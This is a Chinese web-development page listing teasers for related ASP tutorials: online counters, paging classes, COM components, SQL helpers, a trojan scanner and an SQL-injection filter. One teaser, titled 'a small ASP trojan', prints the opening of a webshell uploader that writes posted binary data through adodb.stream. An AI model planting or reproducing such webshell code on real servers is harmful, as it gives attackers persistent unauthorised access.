7.4 一个ASP统计制作实例

7.4 一个ASP统计制作实例的相关文章

• 
  ASP制作在线人数统计实例

  标签：Web开发

  我们先新建一个ＡＣＣＥＳＳ数据库 内容为 表名：zai 字段为 １.ip 2.time 建立一个文件为index.asp 然后就如下程序！ % '=================================================================================================== ' '******************** 冰翎在线人数统计程序 V2.0 ****************************** ' ' 本站程序由 『冰翎工作室』--冰淇淋剑客 独立制作！请尊重本人的劳动成果 ' ...[ 查看全文 ]

  meili0187

  31
• 
  一个ASP小马

  标签：Web开发

  %if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRe...[ 查看全文 ]

  通红恭喜你

  211
• 
  如何编写一个ASP类

  标签：Web开发

  前几天大佛写了“ASP设计模式”，可能有些初学者或者刚刚接触ASP的朋友不一定完全看得明白，偶就整理了一下编写一个ASP类的方法，大部分是从网上找来的。希望对朋友们有帮助。  《ASP设计模式》(作者 我佛山人)： dispbbs.asp?boardID=20&ID=247879 首先ASP的类是由事件和方法（它们就是构成类的成员了）构成的，如果大家还没有接触过，可以先看看下面的说明： 在 Class 块中，成员通...[ 查看全文 ]

  相偎0811

  91
• 
  关于通道的一个实例

  标签：PS PS教程

  我的思路和做法 当时接到这幅片子眼睛都直了，根据摄影的经验，知道这是胶卷跑光的结果。来人说，这片子一直问到中国图片社都说没办法。我心想，这活儿怎么找我干？ 抱着试试的心情把片子扫描出来，仔细一看，蓝色通道是好的，感觉有了。 将图像中跑光部分建立选区。 将蓝色通道中选区内的图像拷贝，分别粘贴到红色和绿色通道相同的位置。 在RGB中三个通道等值，颜色为黑白...[ 查看全文 ]

  唧唧歪歪嘎嘣

  21
• 
  创建一个ASP通用分页类(一)

  标签：ASP

   从开始学习到使用ASP到现在也写了不少程序了，最令人头痛的是写数据分页，每次都是由于几个变量名或几个参数的不同，因而需要每次都写哪一段冗长而又繁杂的分页代码，代码长了使得程序的可读性变差，容易出差，调试半天也找不出错在哪里，所以慢慢的我开始使用一些网上的提供的分页函数或分页类。的确省事不少，但是通常的函数和类的做法都是就数据显示部分也封装了起来，每次为了达到自己需要的显求效...[ 查看全文 ]

  laugher2100

  11
• 
  用ASP做一个分页程序

  标签：ASP

  请看以下实现ASP分页程序的代码： $#@60;anguage="vbscript" dim conn dim connstr dim totalPut dim CurrentPage dim TotalPages dim i,j dim sql dim rs on error resume next 打开数据库 connstr="DBQ="+server.mappath("book.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" set conn=server.createobject("ADODB.CONNECTION") conn.open connstr set rs=...[ 查看全文 ]

  勤奋的苦寒

  111
• 
  为你的ASP程序制作一个编译组件（上）

  标签：ASP

    编写定制的Active Server Page(ASP)代码来完成一些任务,比方说数据库访问的能力是重要的.但是,一个由脚本写成的解决方案最明显的问题就是性能.在这篇文章中,我将向你展示如何将一个数据库对象的脚本版本转换成一个动态链接库(dll),或是就象它的通常的名字,一个COM组件.为了生成这个编译版本,我将使用Visual Basic 6 service pack 4.我曾经向你展示了如何创建一个V...[ 查看全文 ]

  Me兽人博士

  81
• 
  为你的ASP程序制作一个编译组件（中）

  标签：ASP

    下一步是将VBScript对象中的所有代码拷贝出来并粘贴到新工程向导所显示的类窗口中去.只要拷贝从"class DBConnection"到"end class"之间的代码.在粘贴完代码以后,在属性窗口中将类的名字改成DBConnection,如图C所示. 同时将MTSTransactionMode改成3(使用事务处理过程).我们没有必要为这个对象添加任何为支持事务处理(transaction)过程特别编写的代码,但我们最好应该申明你的对象将支持事...[ 查看全文 ]

  我比痛苦还强大

  41
• 
  为你的ASP程序制作一个编译组件（下）

  标签：ASP

    使你的类开始工作 既然你已经拥有了一个能够运行的COM组件了,那么现在就是让它参与工作的时候了.让这个组件能在ASP中使用有几步工作要做.第一步,修改框架(framework)中的pageDeclare.asp文件来用一个object置标来引用这个刚刚编译成功的组件(列表D). Listing D <%@ LANGUAGE="VBScript" % <object runat="server" progid="DBUtil.DBConnection" id="dbConnect"&...[ 查看全文 ]

  F执迷不悟

  41
• 
  创建一个ASP通用分页类

  标签：Web开发

  从开始学习到使用ASP到现在也写了不少程序了，最令人头痛的是写数据分页，每次都是由于几个变量名或几个参数的不同，因而需要每次都写哪一段冗长而又繁杂的分页代码，代码长了使得程序的可读性变差，容易出差，调试半天也找不出错在哪里，所以慢慢的我开始使用一些网上的提供的分页函数或分页类。的确省事不少，但是通常的函数和类的做法都是就数据显示部分也封装了起来，每次为了达到自己需要的显求效果要去...[ 查看全文 ]

  小酒仙子

  11
• 
  制作一个IPhunter

  标签：Delphi

    有人说现在的程序员成了组装工人，其实很有道理，利用控件模块+少量代码就可以实现,delphi 5.0提供了丰富的internet控件，利用tcp/ip客户端-服务端就可以解决问题。关键的控件是serversocket,我们模仿iphunter的界面用一个button1（按钮）,一个combobox1（用于显示），这三个最基本的控件放置到空白窗体上就可以开始写代码了。 首先，这个combobox1必须能显示多个ip,我们定一个变量y来累...[ 查看全文 ]

  人参果李

  291
• 
  一个实例讲解MySQL查询优化

  标签：MySQL mysql数据库

         数据库系统是管理信息系统的核心，基于数据库的联机事务处理(OLTP)以及联机分析处理(OLAP)是银行、企业、政府等部门最为重要的计算机应用之一。从大多数系统的应用实例来看，查询操作在各种数据库操作中所占据的比重最大，而查询操作所基于的SELECT语句在SQL语句中又是代价最大的语句。举例来说，如果数据的量积累到一定的程度，比如一个银行的账户数据库表信息积累到...[ 查看全文 ]

  最最最2天使

  301
• 
  Photoshop制作一个古典的小木箱实例教程

  标签：PS PS基础

  最终效果 1、首先打好网格线，亮点透视。我推荐先找到一个方形的物体来参考，确定角度。记住你看到的面越小，那么他们的放射点就越近。将需要的角度画出来后再连接竖线。 2、接着将竖线对角连接，并交叉点连接到一起。如果连接的线为直线，那么你的透视就没有问题。 3、将其他先连接到一起，一个方形就完成了。 4、画出两个圆角，圆是从方形中得来的，那么你可以简单的利用PS做这样的事情，...[ 查看全文 ]

  柏森0616

  221
• 
  一个实用的FSO-实时统计在线人数

  标签：ASP

    count.asp: <%Server.ScriptTimeout=300 id=Trim(Request.QueryString("id")) fc=Trim(Request.QueryString("fc")) if fc="" then fc="FFFF00" bg=Trim(Request.QueryString("bg")) if bg="" then bg="000000" bc=Trim(Request.QueryString("bc")) if bc="" then bc="00FF00" sername=Request.ServerVariables("SERVER_NAME") scrname=Request.ServerVariables("SCRIPT_NAME") linkurl="http://"...[ 查看全文 ]

  妃唇宛若帝

  41
• 
  怎样开始一个ASP网站的设计

  标签：ASP

    在开始设计一个ASP站点的时候，面对着一大堆的问题，到底要怎么样入手，才能让网站设计做到快，好，而且调试、更改，移植起来又方便呢？下面以留言本的设计为例子，谈谈站点的设计。 （一）站点的功能 “磨刀不误砍柴工”，先写出站点的功能，对以后的工作有很大的帮助。现在来设计一个留言本，功能如下： 1、单用户版。只有一个管理员，所有人都可以留言，可以搜索留言 2、...[ 查看全文 ]

  算你走运

  11
• 
  一个查ASP木马的小东东

  标签：Web开发

  关于查ASP木马的程序，记得半年前在八进制发了一个测试版（具体的URL:http://forum.eviloctal.com/read-htm-tid-19665.html），得到很多朋友的指导，学到了很多东西，非常感谢他们。现在我发的这个升级版，修补了以前的bug，加入了对一些组件写文件函数的检测，更加趋于完美了，个人认为想绕过去有点难度哦。 这回的默认密码是security 当然啦，哈哈，lake2“比武招亲”，欢迎各位朋友提出绕过检测的马马来...[ 查看全文 ]

  彩宝镶嵌系列

  141
• 
  ASP向NT域中加一个用户

  标签：ASP

    问题： 在ASP中如何添加NT域用户？ 俟名 于1999-03-08 提出 答案： 可以使用微软的活动目录服务接口（ADSI），例如： Set DomainObj=GetObject("WinNT://Domain") Set UserObj=DomainObj.Create("user","white") UserObj.SetInfo Set UserObj=Nothing 要在ASP中使用上面这段代码，你得有权限， 两种方法： 一、MMC里改变站点匿名访问时使用的用户名（却省...[ 查看全文 ]

  iccas220

  31
• 
  ASP整合的一个SQL语句类

  标签：ASP

    我们在写ASP数据库程序的时候，通常都会用到SQL语句，而在增加数据和更新数据的时候，通常会使用一下方式：insert into message (incept,sender,title,content,sendtime,flag,issend) values ('"&incept(i)&"','"&membername&"','"&title&"','"&message&"',Now(),0,1) 当字段比较多的时候，而且更新的表比较多的时候，修改起来会比较麻烦，而且查找错误也比较困难。...[ 查看全文 ]

  证监会长

  31
• 
  创建一个ASP通用分页类(二)

  标签：ASP

  我们继续接上期 在页面里通过调用ShowPage()的方法显示出来，ShowPage可以在GetRS以后的任意位置调用，也可以调用多次 Public Sub ShowPage() Dim str_tmp int_totalRecord=XD_RS.RecordCount If int_totalRecord<=0 Then   str_error=str_error & "总记录数为零，请输入数据"   Call ShowError() End If If int_totalRecord="" Then   int_TotalPage=1 Else   If int_totalR...[ 查看全文 ]

  说多了嘴疼88

  51
• 
  一个asp函数 解决SQL Injection漏洞

  标签：ASP

    /** 作者：慈勤强 Email： cqq1978@Gmail.com */ 函数很简单， 主要是针对字符串和数字两种类型的传入数据分别进行了处理，具体用法： 字符类型的 strUsername = CheckInput(Request(“username“),“s“) 数字类型的 ID = CheckInput(Request(“id“),“i“) 下面是函数 Function CheckInput(str,strType)    '函数功能：过滤字符参数中的单引号，对于数字参数进行判断，如果不是数值...[ 查看全文 ]

  星空の月如

  51